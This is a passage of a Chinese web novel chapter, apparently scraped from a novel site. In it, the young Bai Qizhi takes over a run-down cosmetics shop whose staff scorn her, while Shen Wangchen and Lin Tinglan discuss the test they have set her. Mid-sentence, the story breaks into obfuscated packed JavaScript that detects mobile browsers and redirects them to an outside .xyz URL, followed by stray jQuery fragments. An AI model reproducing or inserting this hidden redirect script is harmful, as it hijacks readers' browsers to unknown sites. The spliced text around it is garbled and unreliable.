白栖枝也不知道自己该不该倒吸一口冷气——
眼前小店破旧,店内斜斜倚着两个女子,正站在柜台处摆弄涂满蔻丹的指甲,不多时,又从后头走出一个老伯来,一副低眉顺眼的憨厚老实样,与整个店铺格格不入。
“白小姐,这里就是香玉坊了。”随行仆从朝她笑眯眯地介绍完,正色朝三人道,“即日起,白小姐就是这香玉坊的新东家,你们几个——莫当是他人呢?!”
身着合欢红衣裙,倚在柜台上的女子听闻,眼皮也不抬,懒散道:“还能去哪?百花楼呗。”
仆从道:“赶紧去把他叫回来!”
女子道:“他啊,估计现在已经烂醉在姑娘堆儿里了,叫不会的。”说完,又朝白栖枝瞥了一眼,“你说她是香玉坊的新东家?呵,瞧她这小样,毛都没长齐呢吧?也配来管我们几个?大爷他是昏了头吧?”
仆从怒道:“放肆!你!”
“放肆什么啊。”那女子瞥了他一眼,讽刺道,“谁不知道我们这香玉坊早就被他给弃了,先前是为那几个青楼里的姑娘家,后又是那什么沈忘尘,现在又来了这么个黄毛小丫头?怎么,大爷他换口味了?也想尝尝这豆蔻梢头,春闺一梦的滋味了?”
闻她这不正经的话,仆从气红了脸:“李素染!”他大声道,“大爷的事也是你个妇道人家敢置喙的?大爷说了,白小姐就是如今香玉坊的新东家,从今以后你们几个皆要听从她的调遣,如有违者,也不必在此地带着了,早早卷铺盖滚蛋!”
“哈!” 红衣女子从嗓子眼里挤出一声尖笑,便不再搭理他了,扭着腰肢往后头走。
“你去干什么?”
“还能干什么?”她道,“后头货物堆积,我这个做掌柜的总得去清点清点吧?省得你跟狗似得去大爷那咬我一口,我得多冤呐……”
说完,不顾那仆从发火,便悠悠朝后头库房走去了。
气氛越发僵硬冰冷。
见状,那老伯奉上一杯茶来,好声劝道:“哎,别生气别生气,掌柜的就是那个脾气您也不是不知道,您又何必跟她计较呢?”
“啪。”茶杯狠狠一磕柜面儿,仆从看向他,依旧没好气道,“莫伯,也不是我说你,那莫当时敢如此防狼,多半也有你的原因,若不是你溺爱他,他又怎会天天流连在那百花楼花天酒地?如今新东家到,他迎都不来迎一下,要我看,他也没必要在这儿待着了!”
这人分明是在拿他泻火,莫伯却不生气,依旧持着一副笑脸安抚他道:“您别生气,等他回来我一定好好收拾收拾他,这臭小子,等他回来我非得打断他的腿不成。”
知他老年得子爱子如命,仆从长长叹了口气,转身朝白栖枝躬身一礼道:“白小姐,您我已经带到了,府里还有事,小人就先回去了。”
白栖枝脑子还是懵懵的,听他这么说,点了点头,待她回过神想问些什么,那人早就已经不见影儿了。
现在在店中站着的,除了她和方才那位被称为“莫伯”的老伯,就剩下一位身着粉绿色衣裙的姑娘家了,她还跟没事人似得,摆弄着涂着蔻丹的指甲,仿佛方才什么都没发生过。
白栖枝上前,想问她些事宜,哪成想还没站到她跟前,这人朝她翻了个白眼,也朝着库房去了。
一时间,白栖枝如鲠在喉。
“唉,东家您别生气,他们啊,都是这儿的老人了,现如今这儿没客人来,他们日常懒散惯了,骤然来人管着,肯定不舒服。更何况您这年纪——啊,也不是说您年纪如何,东家能被大爷派来这香玉坊当东家,肯定是年少有为之人,但您年纪实在还是太小,恐怕一时不能让他们拜服,这才会……”
老伯语气缓慢却连珠炮似的说了一大堆,绕的白栖枝头都晕了,可看着他脸上噙着的和煦笑意又不好打断他,只得耐心听完。
“敢问莫老伯。”直到他絮絮说完一大堆,白栖枝才开口问道,“不知方才位姨姨和阿姊都叫什么?分别负责坊内的什么?”
“啊,这个啊……”莫伯缓缓道,“方才那位先行而去的红裙女子名叫李素染,乃是店内掌柜,总管店铺经营诸事,包括采办原料、与供货者商谈、掌控店铺财务等,她啊从前便是个硬脾气,是个雷厉风行的主儿,只是后来咱这香玉坊没落了,她才变得如此懒散,望东家莫怪。”
“至于方才那位绿衣姑娘,她啊,名叫紫玉,是店内的收货娘子兼制粉师,平日里负责接待各位女主顾,为其介绍胭脂水粉,提供一些介意,又因对色彩的搭配独具眼光,也就兼着制作胭脂水粉一职。别看她有些咄咄逼人,其实是个老练事故又嘴甜的姑娘,曾为香玉坊接连拉拢过不少女客,只是现如今铺子没落了,她心中有怨,这才不慎将火发到了东家您身上,还望您不要同她计较。”
见白栖枝用一副似懂非懂,又有些疑惑的目光看着自己,莫伯接着说道:“鄙人也算是这店里的老伙计了,因年龄大,被他们称上一声‘莫伯’。鄙人没什么能力,只负责整理铺子中的货物。因铺子里的伙计少,平日那些打杂、清扫、粗活重活都由鄙人来做,鄙人虽老,但力气还是在的,若东家有什么吩咐大可以交给鄙人去做,无须顾忌鄙人的身体。”
“而方才那大人口中的莫当时便是鄙人的儿子了。鄙人老年得子,妻子又因年龄大生产而难产而死,所以我格外疼惜他这个儿子,谁知因我对其溺爱成性,竟叫他如今出落成这等花天酒地、目中无人的模样,明知今日东家要来,却还是跑去百花楼醉生梦死,待他回来,我定要打断他的腿?”
“腿?打断谁的腿?”门外传来一个醉醺醺的声音。
说曹操曹操到,只见门外栽栽歪歪地走进了一个玉面郎君。
这人当真是长了一副好模样:丹凤眼、高鼻梁、薄嘴唇,面如冠玉、肤若凝脂,眼角处还有一颗小米粒似得泪痣,衬得一双多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856064|157766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情眸越发灼眼迫人。
此刻他正醺着,瓷白的面皮上浮上一层薄红,嘴唇绯然,更衬得他赏心悦目。
“爹,我……嗝……我回来了!”莫当时醉醺醺地走了过来,见店内站着个白栖枝,不由得“咦”了一声,随即薄唇微勾,俯身笑道,“哎呀呀,这是谁家的小女娘啊,生得这般好看,跟九天玄女似得,就是面上儿忒单调了些,跟来来来,让小生为您举荐店内几款胭脂、水粉、口脂,包您娇艳欲滴、活色生香……”
他说着,就要拥着白栖枝去看,莫伯一把拦下,怒色道:“莫当时!这是咱们的新东家!”
“新东家?怎么又是新东家?”莫当时面露疑惑,不过下一秒就摆摆手开怀道,“哎呀没事,上个新东家还来买过呢!不打紧不打紧。”
白栖枝感觉自己好像听到了什么不得了的事:
上个新东家……沈哥哥?沈哥哥来买胭脂水粉?沈哥哥他……
不对不对,应该是送人的吧?沈哥哥怎么可能会上妆呢?
不能的不能的!
“怎么不能?”
沈忘尘朝镜中看了看,嘴上是为了掩盖病色新上的口脂,上完对镜瞧了瞧,兀地说了句题外话:“香玉坊的口脂调的越来越敷衍了,还不如前几年做的那些,他们懈怠了。”
林听澜将铜镜放回妆台上,又递来了手帕。
沈忘尘微微一笑:“怎的?不好看?”说着,还是接了帕子衔在唇瓣间一抿。
唇上颜色淡了,可手帕上却印上了一片绯红,瞧着格外搔人心痒。
沈忘尘悠悠叹道:“你啊,还是太小看枝枝了,她最是聪明,不会没有法子的。”
林听澜还是难忍:“可她到底年纪尚小、难以服众,保不住要受人刁难,更何况那几个都是跟着我爹的老人了,他们那个性子忘尘你是知道的,交给她打理,只怕是会闹得个鸡飞狗跳,还是……”
“你怎么又信不过她了?”沈忘尘唇瓣上多了几分血色,比病中时更加的活色生香,“更何况既然要考验就需得用老人来考验,新人能做什么?新人只会说什么什么是,哪里能磨练得了她?更何况,我教了她这么多,若是她连这点考验都受不住,难免也太叫你我失望了,是不是?”
林听澜看着他倚在榻上的模样,“咕噜”咽了口口水。
忘尘说的也是,这点磨砺甚至不抵他阿父死时他所受的十分之一,反正她倔得很,呛了他这么多次,同那些人讨价还价的时候定不会使自己吃亏,他又在瞎担心什么呢?
想着,林听澜原本紧揪着的心竟真的一点点被放回胸腔里了。
他说:“忘尘说的是,若是她这点考验都受不住,那她日后的路只会更加难走,待她失败,哪怕是她再想做什么事,为了护她周全,我这辈子都不会让她再出林府了。”
——若她失败,那她这辈子都别想再出林府了。
……